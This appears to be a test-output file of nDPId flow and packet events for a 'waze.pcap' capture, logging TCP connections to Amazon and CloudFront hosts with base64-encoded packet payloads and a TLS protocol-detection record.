+00934{"flow_id":9,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":117,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":867487,"pkt_caplen":447,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":447,"pkt_l4_len":413,"pkt":"ABoRAAACABoRAAABCABFAAGxdKVAABAG0AY25uOsCggAAQBQseKj2mz6XCWTpFAY\/\/+DVwAASFRUUC8xLjEgMzA0IE5vdCBNb2RpZmllZA0KQ29ubmVjdGlvbjogY2xvc2UNCkRhdGU6IE1vbiwgMjkgSnVuIDIwMTUgMTQ6MjQ6MzEgR01UDQp4LWFtei1tZXRhLWNyZWF0b3I6IEN5YmVyZHVjaw0KQ2FjaGUtQ29udHJvbDogcHVibGljLG1heC1hZ2U9MzAwDQpFVGFnOiAiZTE0YmU5NjI5OTYyNGJiODU1M2RmOTg2MTk5YzBmNjYiDQpTZXJ2ZXI6IEFtYXpvblMzDQpBZ2U6IDI0Mw0KWC1DYWNoZTogSGl0IGZyb20gY2xvdWRmcm9udA0KVmlhOiAxLjEgZjY3MDEzZjQwNWIzZjhlZTY4MzY4OTljMmVhZjk5MTYuY2xvdWRmcm9udC5uZXQgKENsb3VkRnJvbnQpDQpYLUFtei1DZi1JZDogUGZ4YjU2blZvV0hza2lic2h0LUN6bmlrbnRUUmwzT2pVMTByQjNselVaaHE1aTNfYVFtZU53PT0NCg0K"} +00409{"flow_id":10,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":118,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":867648,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoNxxAAEAG3xgKCAABNubjrLHkAFDBi1rGPnSnOVAQ\/\/\/XBAAA"} +00410{"flow_id":10,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":119,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":867874,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodKZAABAG0Y425uOsCggAAQBQseQ+dKc5wYtaxlAR\/\/\/XAwAA"} +00410{"flow_id":9,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":120,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":868136,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo\/jhAAEAGF\/wKCAABNubjrLHiAFBcJZOko9pug1AQ\/\/\/W3gAA"} +00409{"flow_id":9,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":121,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":868318,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodKdAABAG0Y025uOsCggAAQBQseKj2m6DXCWTpFAR\/\/\/W3QAA"} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":122,"source":"waze.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1435587871918,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"176.34.103.105","src_port":51049,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":122,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":918621,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8cIlAAEAGqJ4KCAABsCJnacdpAbv69x3BAAAAAKAC\/\/\/XPAAAAgQFtAQCCAoACG1IAAAAAAEDAwg="} +00409{"flow_id":11,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":123,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":929277,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodKhAABAG1JOwImdpCggAAQG7x2kFCOI++vcdwlAS\/\/\/FGAAA"} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":124,"source":"waze.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1435587871929,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"176.34.103.105","src_port":51050,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":124,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":929480,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8KgBAAEAG7ycKCAABsCJnacdqAbskTkdIAAAAAKAC\/\/+EXgAAAgQFtAQCCAoACG1IAAAAAAEDAwg="} +00409{"flow_id":12,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":125,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":932105,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodKlAABAG1JKwImdpCggAAQG7x2rbsbi3JE5HSVAS\/\/\/FFwAA"} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":126,"source":"waze.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1435587871935,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"176.34.103.105","src_port":51051,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":126,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":935294,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8\/WxAAEAGG7sKCAABsCJnacdrAbsTBZAkAAAAAKAC\/\/9MygAAAgQFtAQCCAoACG1IAAAAAAEDAwg="} +00410{"flow_id":13,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":127,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":938758,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodKpAABAG1JGwImdpCggAAQG7x2vs+m\/bEwWQJVAS\/\/\/FFgAA"} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":128,"source":"waze.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1435587871939,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"52.17.114.219","src_port":39010,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":128,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":939085,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8xDRAAEAGxZIKCAABNBFy25hiAbudWal8AAAAAKAC\/\/9IxgAAAgQFtAQCCAoACG1IAAAAAAEDAwg="} +00408{"flow_id":14,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":129,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":941271,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodKtAABAGRTA0EXLbCggAAQG7mGJiplaDnVmpfVAS\/\/9kvwAA"} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":130,"source":"waze.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1435587871941,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"54.230.227.172","src_port":45546,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":130,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":941434,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8RGdAAEAG0bkKCAABNubjrLHqAFALhykvAAAAAKAC\/\/\/PIgAAAgQFtAQCCAoACG1IAAAAAAEDAwg="} +00409{"flow_id":15,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":131,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":943372,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodKxAABAG0Yg25uOsCggAAQBQser0eNbQC4cpMFAS\/\/\/Y+wAA"} +00410{"flow_id":10,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":132,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":943907,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoNx1AAEAG3xcKCAABNubjrLHkAFDBi1rGPnSnOlAR\/\/\/XAgAA"} +00410{"flow_id":10,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":133,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":944315,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodK1AABAG0Yc25uOsCggAAQBQseQ+dKc6wYtax1AQ\/\/\/XAgAA"} +00410{"flow_id":10,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":134,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":944650,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodK5AABAG0YY25uOsCggAAQBQseQ+dKc6wYtax1AR\/\/\/XAQAA"} +00411{"flow_id":9,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":135,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":944788,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo\/jlAAEAGF\/sKCAABNubjrLHiAFBcJZOko9puhFAR\/\/\/W3AAA"} +00409{"flow_id":9,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":136,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":945000,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodK9AABAG0YU25uOsCggAAQBQseKj2m6EXCWTpVAQ\/\/\/W3AAA"} +00409{"flow_id":9,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":137,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":945236,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodLBAABAG0YQ25uOsCggAAQBQseKj2m6EXCWTpVAR\/\/\/W2wAA"} +00409{"flow_id":11,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":138,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":945374,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAocIpAAEAGqLEKCAABsCJnacdpAbv69x3CBQjiP1AQ\/\/\/FGQAA"} +00409{"flow_id":12,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":139,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":945520,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoKgFAAEAG7zoKCAABsCJnacdqAbskTkdJ27G4uFAQ\/\/\/FGAAA"} +00410{"flow_id":13,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":140,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":945644,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo\/W1AAEAGG84KCAABsCJnacdrAbsTBZAl7Ppv3FAQ\/\/\/FFwAA"} +00408{"flow_id":14,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":141,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":945754,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoxDVAAEAGxaUKCAABNBFy25hiAbudWal9YqZWhFAQ\/\/9kwAAA"} +00410{"flow_id":15,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":142,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":945866,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoRGhAAEAG0cwKCAABNubjrLHqAFALhykw9HjW0VAQ\/\/\/Y\/AAA"} +00407{"flow_id":10,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":143,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":945981,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAABAAEAGFjUKCAABNubjrLHkAFDBi1rHAAAAAFAEAAC8vQAA"} +00406{"flow_id":9,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":144,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587871,"pkt_ts_usec":946086,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAABAAEAGFjUKCAABNubjrLHiAFBcJZOlAAAAAFAEAADpRwAA"} +00656{"flow_id":11,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":145,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":45758,"pkt_caplen":236,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":236,"pkt_l4_len":202,"pkt":"ABoRAAACABoRAAABCABFAADecItAAEAGp\/oKCAABsCJnacdpAbv69x3CBQjiP1AY\/\/86cAAAFgMBALEBAACtAwGmC6YG6dpggqRoocPCS6GRSW3HALPFXrzPaO9ENu8EQgAAQMAUwArAIsAhADkAOMAgwA\/ABQA1wBLACMAcwBsAFgATwBrADcADAAoABcATwAnAH8AeADMAMsAdwA7ABAAvAP8BAABEAAsABAMAAQIACgA0ADIADgANABkACwAMABgACQAKABYAFwAIAAYABwAUABUABAAFABIAEwABAAIAAwAPABAAEQAjAAA="} +00732{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":145,"source":"waze.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":4,"flow_first_seen":1435587871918,"flow_last_seen":1435587872045,"flow_tot_l4_data_len":282,"flow_min_l4_data_len":20,"flow_max_l4_data_len":202,"flow_avg_l4_data_len":70,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"176.34.103.105","src_port":51049,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"f392f120f1087cd2f8814539cf58cfa4","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00409{"flow_id":11,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":146,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":51153,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodLFAABAG1IqwImdpCggAAQG7x2kFCOI\/+vceeFAQ\/\/\/EYwAA"} +08151{"flow_id":3,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":147,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":84616,"pkt_caplen":5526,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":5526,"pkt_l4_len":5492,"pkt":"ABoRAAACABoRAAABCABFABWIdLJAABAGFQdBJ4CHCggAAQBQ1oMcOGi048eoXFAQ\/\/9HOQAAC\/JkLXAieP4LTk\/Xu8H+ADLAUAMHHv6KAVigX2\/eP8ggPkJr+p8ABQUA+0oCs\/Yv\/r4HBPrn8eDLxQmBh732\/7RwCnAgr+9YKQAIORweTb8\/s8YDADVAUAMHQX5egYkAay\/Y78MQRsKV+f74BQUA+yEBMPVIf5qHTvkn8kD3zgoBJ7f5\/6XgDvAg0+1sJM\/oeXQtDM7fq8wIADfAUAkDxwIBA2uAvf8JYAWv+c\/sIIlA6+n\/vCIAe\/uPAcT4In\/XhFf\/R\/2f0AaBX7f6Av\/Db\/\/L\/rwHg\/nAiIAZyEBxMBPh\/ABK\/0ABA9eAvX83IAO\/99fvMINAw+sfzCAAe\/x2AXn50oCMg3z+U\/7AF\/7\/3\/AEAP\/yUADf\/mwF2\/rwWn\/N20EguAPt\/wBE\/0ABBD2Ax39uIALv9P\/yYH\/Al+v\/3B\/\/+\/2BACL7rwDvAoj+c\/\/AM\/Z+wEAJ\/QATuAM\/\/\/gDk\/5gKX+d8EEgN\/v6AQA\/P0ACBLkApf+fYAL\/8u\/2MHiAZe1f7Bz\/+\/6iAEn9qAFOAX798AGgU+t94JgP+QAvuAPr\/9wBv\/4v9L90BgGPp\/AIAwA5f0ACBSSAkX\/UQAO\/8Df6EHRAL+5gABr\/fP\/R\/3z\/pYFIgHT+jANAR+B9wPgP9QA8KAXkAWP\/i\/\/PwP90HAEfF\/QYAwAzf0ACBZoAVn\/+gAUP7n\/+cG1\/9e\/AFBj\/fAEBAEABkwEyf2T+lAWgO9T94VAN8QBCIAXsAQ\/98\/1\/jb+GMYEOf\/goAgAtv0ACBfUAMAAoYAZv7EAC0Gn\/t\/DALBb+\/QIfABsDVICyfnT\/uAd\/\/8r+oagH7gA4oAdsAhv8L\/z\/YH\/KRMAd+Ag2AAAn\/0ADBlJ\/7IBFoAfv6vgHYGS\/e\/IARBP+\/QMhAYcE2IAi\/ZQAPAmfx8H\/wfAB6wAqKAbkASP7A\/hvOMAiVX9tiBxF\/gAiP0ADBo7\/yABjAAk\/6QgLwGP\/PfKgXBL+fgPsAgIGBf8yfPQB0ApfZ7wBgif16QAPGAg4AWv5s\/XPHECqYb39ODhN+gAcP0ADBst\/jYB2oAqf57gP4GJ\/A\/NAcBD9\/gSDA\/wG1n5B\/HUCtAr\/C7mDQj\/r6P\/zEAen\/6f4y+8\/CcFAajzdCFRR9gAWf0ADBul\/dwCPIAvv5VAToGY+yfMgjA\/9fgTHBOsHO30IfE4EiAlek7uFgjfd6f\/PiAlr\/zf3l+rfBYH6bDsdCHhP8AAQv0ADBwz\/SwCj4A3P4xgWwGl+mfMgoA\/8\/gTMBzgHPvvp\/E0FkAc+L8GHohfR6\/+wqAlz\/PP2d+LPDUK2ajm9KJhJ7AAKv0AEBxp\/QQDDoA\/\/31gZQHJ+bfJAuA\/8fwR3CFgG4Pqf\/KoHaAI9s8yJ4c\/D7v+QEAw7\/EP0190vIsOIYbfNgLg95wAE\/0AEBzR\/G4DkoBNv25AbAHq+S\/GAzBD7\/wPuCrAGOPmLfR4IY\/y9V9oLwXe58\/95aA0\/+hfzC9QvQkROVjZt+NQt5P\/\/P0AJA8cDAwaI\/x8AVZ\/y4AjwOH+yvRIKoRfz\/IEAav88AXT\/yf8nACP\/35wWAz9X8Af\/33f\/n\/uf\/0\/wf+sB3ge8EBAf7AEACX8wAwZB\/rcASb\/9gAtYOJ+qvPwLYSPz\/AEAGf7nAFQAR3\/2\/3\/8v8gQgf+P+AT\/2YgD7\/6\/\/1v2T+tBBAe+D\/gT9gAAAv8w\/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACQPHBAMEXoF+f45f6wAGP9DQDkLT\/P7IBAZ\/A+b6GgaYAsd7h\/7ICeAMCfzf6BIB\/76IBOv0bAWP5UA4gzPZ+nDAPBf3\/\/6AoAMEbQF4\/4sf7pAF59NAEcKr\/F7YBgZ\/A2L7JwWDgb58MQA8B7+oBH7gIAf+\/+kwBHf2SAZD7gAmgg3gvRCwHA35AANAkAQEkwFJf4jf8YAFj9bAFYJx+37wCAX\/AmP8+gRDgOj9QgCsA39kAIFgP\/f9AAcwArf7DAXX97AUAOHsv3B3\/AX9AAfAkAUEuwFOf5L\/9GAD\/9oQG8I\/+n8ACgV+AZb98QLFf\/l+JwHgAT7z\/APgZ+n6ACMwAnP82AXUAa\/9f6X2AiBX2\/gBAAyAkAUE\/QEaf6M\/+MAB793QIsIB+V8YCwV+AGf\/jwEr\/1x\/YQHP\/V63+waAZ9n6ADB4AXABrAR0C1\/mfoAExEAHu\/QGABDAkAYFQoEL\/8Pf\/v\/+T+DALMHP9\/8sDgT+\/4EAKP9qfryAYQJT+55n+Qjgb8v4ADqoAigDtANME6\/MPWoQxo\/Xl+4LABVAkAcFnwC2\/+0gCF\/55+NwN4GX9p9AEAT9\/lkBTP2u\/okBmQFf+L5b+wrgR7\/6ADYgApwI3ACwGn+zfJAgx+9vf+4PABlAgAcF+4B+gCbAFF\/zz+TARUFx9P9QEgT9\/ZQBSvvv\/mGChADz+B5L\/QxgJ7f6AC\/YBNQLO\/5MHo+Y++AtyS8nZ+4UAB2AgAgGZ3\/8AGagI6\/tJ+WAU4FL839cFAR9\/KsBxfpe\/rEDhv8L9t6MAY0\/37H+AB1gBwQQi\/qQID+CO4Y9ST6\/Y\/QXACGAgAkGyH+aALHANJ\/lJ+TAZEE38b9kFwR8\/DgBDvjwfwmEKv3H977MBY1fr7AAAAzoCrwS0\/dMHo9r+2RIyT53W\/oZACVAgAoHLX74gPwgRx\/dJ+NwdEEn8D9sGAR8+7MA3PfS\/88Eyvsr+F9cC4yfV7YE\/\/TQDmQXp\/MMGp9bO6JVh\/4PaAYaACkAcAoHfX6JgUmgWL\/Uj+DwhcEr7n9sGgR8+6n\/hfbwgIgFBPl7+v\/YD4tfH74H\/+QIExQZA++gE59L\/BBdRs3XeBAZACzAcAsHx33wgY7gaT\/Mt95QlYEv7R9sGwR8+43+1fZwgZQ